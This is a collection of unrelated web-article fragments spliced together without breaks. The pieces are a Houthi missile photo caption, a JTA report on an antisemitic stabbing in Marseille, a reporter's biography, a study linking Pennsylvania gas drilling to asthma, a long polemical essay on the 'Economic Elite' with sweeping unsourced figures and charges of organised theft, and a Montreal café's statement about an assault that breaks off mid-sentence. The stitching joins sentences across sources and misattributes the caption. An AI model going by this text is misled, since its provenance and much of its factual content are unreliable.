Top photo | A still image taken from a video by Yemen’s pro-Houthi Al Masirah television station on November 5, 2017, shows what it says was the launch by Houthi forces of a ballistic missile aimed at Riyadh’s King Khaled Airport.
© Zerohedge.comA French Jewish politician from Marseille suggested that the recent assault against three Jews there was connected to hostile media coverage of Israel in France.
Hagay Sobol, a regional alderman for the Socialist Party and vice president of Marseille’s Edmond Fleg Jewish Community Center, made the claim Sunday on Twitter in reference to the stabbing the previous day of a Jewish man by an attacker who also hit and accosted a rabbi and his 19-year-old son. The stabbing victim, 44, was seriously hurt but is no longer in danger.
“In this anti-Semitic attack, we cannot exclude the media coverage of the Israel-Palestine conflict,” Sobol wrote.
Many French and other European Jews and pro-Israel activists have complained of what they call biased reporting that presents Palestinians as victims who were hurt while trying to kill Jews in Israel.
In an interview with Actualite Juive, the rabbi, Acher Amoyal, said the man uttered unintelligible words, but also something that sounded like the Arab-language expression for “Allah is the greatest,” which Muslims sometimes shout while carrying out attacks.
The attacker, who was not named, was described by police as mentally ill and has been committed to a psychiatric institution after he was deemed unfit to stand trial, Le Parisian reported. He also was heavily inebriated when he committed the act, police sources said.
CRIF, the umbrella group of French Jewish communities, said in a statement that the assailant was of North African descent.
Approximately 1,000 people attended a pro-Israel rally on Sunday in Marseille, which CRIF organized in solidarity with Israel. Marseille has a large Jewish community.
This story "French Politician Blames Media for Attacks on Jews" was written by JTA.Susan Phillips tells stories about the consequences of political decisions on people's every day lives. She has worked as a reporter for WHYY since 2004. Susan's coverage of the 2008 Presidential election resulted in a story on the front page of the New York Times. In 2010 she traveled to Haiti to cover the earthquake. That same year she produced an award-winning series on Pennsylvania's natural gas rush called "The Shale Game." She received a 2013 Alfred I. duPont-Columbia University Journalism Award for her work covering natural gas drilling in Pennsylvania. She has also won several Edward R. Murrow awards for her work with StateImpact. In 2013/14 she spent a year at MIT as a Knight Science Journalism Fellow. She has also been a Metcalf Fellow, an MBL Logan Science Journalism Fellow and reported from Marrakech on the 2016 climate talks as an International Reporting Project Fellow. A graduate of Columbia School of Journalism, she earned her Bachelor's degree in International Relations from George Washington University.
People with asthma face a larger risk of asthma attacks if they live near heavy gas drilling activity in Pennsylvania, compared to those who don’t, according to research by Johns Hopkins Bloomberg School of Public Health, published Monday in the peer-reviewed journal JAMA Internal Medicine. The report “Association Between Unconventional Natural Gas Development in the Marcellus Shale and Asthma Exacerbations,” is the first to make use of extensive electronic health records from the Geisinger Health System, along with state well production data, to examine the impact on asthma.
“Ours is the first to look at asthma but we now have several studies suggesting adverse health outcomes related to the drilling of unconventional natural gas wells,” said Sara G. Rasmussen, the study’s lead researcher and a PhD candidate in the Bloomberg School’s Department of Environmental Health Sciences. “Going forward, we need to focus on the exact reasons why these things are happening, because if we know why, we can help make the industry safer.”
Rasmussen and her colleagues looked at the health records of more than 35,000 Geisinger patients between the ages of 5 and 90 who had asthma. Geisinger has been keeping detailed electronic health records since the early 2000’s, which made for a large data set. The researchers looked at patients health records between 2005 and 2012. The healthcare system encompasses 40 counties in central and northeast Pennsylvania.Part II: The Rise of the Economic Elite — Economic Elite Vs. The People
Part I of David DeGraw’s six-part series can be found here.
–I: Causalities of Economic Terrorism, Surveying the Damage
——-II: The Rise of the Economic Elite
——-III: Exposing Our Enemy: Meet the Economic Elite
——-IV: The Financial Coup d’Etat
——-V: Overcoming the Divide and Conquer Strategy
——-VI: How to Fight Back and Win: Common Ground Issues That Must Be Won
II: The Rise of the Economic Elite
“The war against working people should be understood to be a real war…. Specifically in the U.S., which happens to have a highly class-conscious business class…. And they have long seen themselves as fighting a bitter class war, except they don’t want anybody else to know about it.” — Noam Chomsky
As a record number of US citizens are struggling to get by, many of the largest corporations are experiencing record-breaking profits, and CEOs are receiving record-breaking bonuses. How could this be happening; how did we get to this point?
The Economic Elite have escalated their attack on US workers over the past few years; however, this attack began to build intensity in the 1970s. In 1970, CEOs made $25 for every $1 the average worker made. Due to technological advancements, production and profit levels exploded from 1970 – 2000. With the lion’s share of increased profits going to the CEOs, this pay ratio dramatically rose to $90 for CEOs to $1 for the average worker.
As ridiculous as that seems, an in-depth study in 2004 on the explosion of CEO pay revealed that, including stock options and other benefits, CEO pay is more accurately $500 to $1.
Paul Buchheit, from DePaul University, revealed, “From 1980 to 2006 the richest 1 percent of America tripled their after-tax percentage of our nation’s total income, while the bottom 90 percent have seen their share drop over 20 percent.” Robert Freeman added, “Between 2002 and 2006, it was even worse: an astounding three quarters of all the economy’s growth was captured by the top 1 percent.”
Due to this, the United States already had the highest inequality of wealth in the industrialized world prior to the financial crisis. Since the crisis, which has hit the average worker much harder than CEOs, the gap between the top one percent and the remaining 99 perecnt of the US population has grown to a record high. The economic top one percent of the population now owns over 70 percent of all financial assets, an all-time record.
As mentioned before, just look at the first full year of the crisis when workers lost an average of 25 percent off their 401k. During the same time period, the wealth of the 400 richest Americans increased by $30 billion, bringing their total combined wealth to $1.57 trillion, which is more than the combined net worth of 50 percent of the US population. Just to make this point clear, 400 people have more wealth than 155 million people combined.
Meanwhile, 2009 was a record-breaking year for Wall Street bonuses, as firms issued $150 billion to their executives. One-hundred percent of these bonuses are a direct result of our tax dollars, so if we used this money to create jobs, instead of giving it to a handful of top executives, we could have paid an annual salary of $30,000 to 5 million people.
So while US workers are now working more hours and have become dramatically more productive and profitable, our pay is actually declining and all the dramatic increases in wealth are going straight into the pockets of the Economic Elite.
If our income had kept pace with compensation distribution rates established in the early 1970s, we would all be making at least three times as much as we are currently making. How different would your life be if you were making $120,000 a year, instead of $40,000?
So it should come as no surprise to see that we now have the highest inequality of wealth in the industrialized world and the highest inequality of wealth in our nation’s history. The backbone of America, a hard-working middle class that has made our country a world leader, has been devastated.
Now that we have a better understanding of how our income has been suppressed over the past forty years, let’s take a look at how the economy has been designed to take the limited money we receive and put it into the hands of the Economic Elite as well.
Costs of Living
Outside of the workplace, in almost all our costs of living the system is now blatantly rigged against us. Let’s take a look at it, starting with our tax system.
In total, the average US citizen is forced to give up approximately 30 percent of our income in taxes. This tax system is now strategically designed to flow straight into the hands of the Economic Elite. A huge percentage of our tax dollars ultimately ends up in their pockets. The past decade proves that — whether it’s the Republicans or the Democrats running the government — our tax money is not going into our community; it is going into the pockets of the billionaires who have bought off both parties – it is obscene.
For an example of how this system flows to the Economic Elite, just look at the Wall Street “bailout.” The real size of the bailout is estimated to be $14 trillion – and could end up costing trillions more than that. By now you are probably also sick of hearing about the bailout, but stop and think about this for a moment… Do you comprehend how much $14 trillion is?
What could be accomplished with this money is almost beyond common comprehension.
And this is just the tip of the iceberg that has hit us. On top of the trillions given to the Wall Street elite, we already have a record $12.3 trillion in national debt – and we now have to pay $500 billion in interest to the Economic Elite on this debt every year, yet another way they are milking us dry. When you add in unfunded liabilities owed, like social security payments, we actually owe a stunning $74 trillion. That adds up to a debt of $242,000 for every man, woman and child in America.
Trillions more, 25 percent of taxpayer dollars allocated to military spending goes unaccounted for every year, not to mention the billions spent on overcharging and outright fraud. During the War on Terror, the Economic Elite have used our tax money to build a private army that has more soldiers deployed than the US military – a congressional study revealed that 69 percent of the “US” fighting forces deployed throughout the world in our name are in fact private mercenaries, 80 percent of them are foreign nationals. Private contractors regularly get paid three to five times more than our soldiers, and have been repeatedly caught overcharging and committing fraud on a massive scale. A congressional investigation revealed this and strongly recommended that we seize wasting tax dollars on these private military contractors. However, under Obama, there has actually been a drastic increase in total tax dollars spent on them.
In 2009, just over $1 trillion tax dollars were spent on the military. It’s safe to say that at least $350 billion of that was needlessly wasted.
When you research our tax system you see an unprecedented level of waste and fraud rampant throughout most expenditures. Our tax system is a national disaster of epic proportions. It is literally an organized criminal operation that continues to rob us in broad daylight, with zero accountability.
Politicians and mainstream “news” outlets will not tell you this, but most every serious economist knows that due to so much theft and debt created in the tax system, the only way to fix things, other than stopping the theft and seizing the trillions that have been stolen, will be for the government to cut important social funding and drastically raise our taxes. Other than the record national debt, many states are running record deficits and “barreling toward economic disaster, raising the likelihood of higher taxes, more government layoffs and deep cuts in services.” Our nation’s biggest state economies, like California and New York, are the ones in most trouble.
To merely say that things will not be improving economically is to be a delusional optimist. The truth that you will not hear: we have been hit by an economic deathblow and the United States lays in ruins.
It’s not just this criminal tax system; the theft is now built into all our costs of living.
Trillions more in our spending on food and fuel have been stolen due to fraudulent stock transactions and overcharging. Just ten years ago, in 2000, American families paid 7 percent of our income on food and fuel. We now pay 20 percent. This drastic increase is primarily driven by fraudulent market manipulation that drives up stock prices. Congress uncovered this in 2006, as part of the Enron investigation. They found that companies manipulated the oil market to create major spikes in stock values, but then Congress didn’t do anything about it. Nothing to see here, just move on.
As mentioned before, we have the most expensive health care system in the world and we are forced to pay twice as much as other countries, and the overall care we get in return ranks 37th in the world. On average, US citizens are now paying a record high 8 percent of their income on medical care.
One of the reasons why foreclosure rates are so high is because the percentage of income Americans pay on their housing has risen to 34 percent.
So for these basic necessities – taxes, food, fuel, shelter and medical bills – we have already lost 92 percent of our limited income. Then factor in ever-increasing interest rates on credit cards, student loans, rising prices for cable, internet, phone, bank fees, etc., etc., etc…. We are being robbed and gouged in all costs of living, in every aspect of our life. No wonder bankruptcies are skyrocketing and the number of people suffering from psychological depression has reached an epidemic level.
The American worker is screwed over every step of the way, and it all starts with the explosion in the cost of a college education. This is one of the Economic Elite’s most devastating weapons. To have any chance of succeeding in this economy, it is commonly believed that you must attend the best college possible. With the rising costs involved, today’s students are graduating with record levels of debt from student loans. At the same time, the unemployment rate among recent college graduates has risen higher than the national average, and those who do find work are making significantly less than they expected to make. This combination of extreme debt and reduced pay has crippled an entire generation right from the start and has put them in a vicious cycle of spiraling debt that they will struggle with for the rest of their lives. The most recent college graduates are now known as a “lost generation.”
The American dream has turned into a nightmare. The economic system is a sophisticated prison cell; the indentured servant is now an indebted wage slave; whips and chains have evolved into debts.
“There are two ways to conquer and enslave a nation. One is by sword. The other is by debt.”
– John Adams
Concealing National Wealth
“Liberty in the concrete signifies release from the impact of particular oppressive forces; emancipation from something once taken as a normal part of human life but now experienced as bondage…. Today, it signifies liberation from material insecurity and from the coercions and repressions that prevent multitudes from participation in the vast cultural resources that are at hand.” — John Dewey
When you take the time to research and analyze the wealth that has gone to the economic top one percent, you begin to realize just how much we have been robbed. Trillions upon trillions of dollars that could make the lives of all hard-working Americans much easier have been strategically funneled into the coffers of the Economic Elite. The denial of wealth is the key to the Economic Elite’s power. An entire generation of massive wealth creation has been strategically withheld from 99 percent of the US population.
The US public doesn’t have any understanding of how much wealth has been generated and concentrated into the hands of the Economic Elite over the past 40 years; there is no historical frame of reference. This withholding of wealth is truly the greatest crime against humanity in the history of civilization.
What could be done with all the money that has been hoarded by the Economic Elite is extraordinary!
Let’s consider what we could do with the money that has been stolen from us. On top of what should be our average six-figure yearly income, we could have:
* Free health care for every American,
* A free 4 bedroom home for every American family,
* 5 percent tax rate for 99 percent of Americans,
* Drastically improved public education and free college for all,
* Significantly improved public transportation and infrastructure,
The list goes on…
This is not some far-fetched fantasy. These are all things that Franklin D. Roosevelt talked about doing in the 1940s, long before the explosion of wealth creation in our technologically advanced global economy. The money for all this is already there, stashed into the claws of the Economic Elite. The denial of wealth to the masses is the key to the Economic Elite’s power. Outside of outdated and obsolete economic models and theories — and incredibly short-sighted greed — there is no reason why all this money should be kept in the hands of a few, at the immense suffering and expense of the many.
If Americans could just understand how much wealth is being withheld from us, we would have a massive uprising and the Economic Elite would be swept away, into the history books alongside the evil despots of the past.
“For if leisure and security were enjoyed by all alike, the great mass of human beings who are normally stupefied by poverty would become literate and would learn to think for themselves; and when once they had done this, they would sooner or later realize that the privileged minority had no function, and they would sweep it away. In the long run, a hierarchical society was only possible on a basis of poverty and ignorance.” — George Orwell
Now that we have a better understanding of how the Economic Elite dominate our lives, let’s take a look at exactly who they are….
This report was originally published on Amped Status.
Part III: “Exposing Our Enemy: Meet the Economic Elite” will be posted on Friday. To be notified via email, subscribe to the Amped Status newsletter here.
David DeGraw is the founder and editor of AmpedStatus.com and director of MediaChannel.org. You can reach him at David@AmpedStatus.com.The team of Café Aquin (UQAM) wants to collectively respond to the assault that two employees were victims of, one of whom who was more specifically targeted by a member of the Parti Communiste Révolutionnaire de Montréal (RCP). The assault took place this Tuesday, March 28, at 5:45 at Café Aquin.
Like many other people who care about solidarity and social justice, we’re compelled to act by the authoritarian direction of the RCP of Montreal, which has already been a problem for a while, and has been more present in the last months and weeks. On their site, you’ll find an example of an article that reports how four dissidents of the RCP were beaten and violently expelled from the Normand Béthune bookstore, the headquarters of the group. These dissidents were calling out the RCP Montreal for transphobia, anti-feminism, and authoritarianism.
It’s in this context that the events of Tuesday took place. Here’s a summary by two employees and three clients:
Around 5:30, this Tuesday March 28, two members of the RCP came to put their posters and distribute their fliers around and inside Café Aquin. Several minutes later, an employee who was on break told the two members that their posters and fliers aren’t welcome. Several moments later, the two members of the RCP reentered the café. One passed BEHIND the counter, into the area reserved for employees. He went towards the employee, who only critiqued them, in order to intimidate and threaten him, accompanied by shoving him. The employee told the aggressor to leave the space, telling him that it is his workplace and he’s not welcome. He was forced to add gestures to his words, for his own safety. After several moments, the employee, helped by another employee and several clients, managed to make them leave by bringing them to the exit. That is how the two members of the RCP left the café and Aquin pavilion.
The team at Café Aquin wants to unequivocally oppose the actions of these two members of the RCP (one active in the aggression, the other supporting it). The aggression of a worker AT his workplace is scandalous. All the more so given that these actions were committed by partisans of the Party that claims to defend the proletariat.
We’re sorry to all the clients who didn’t feel safe during the events. The Café Aquin is |
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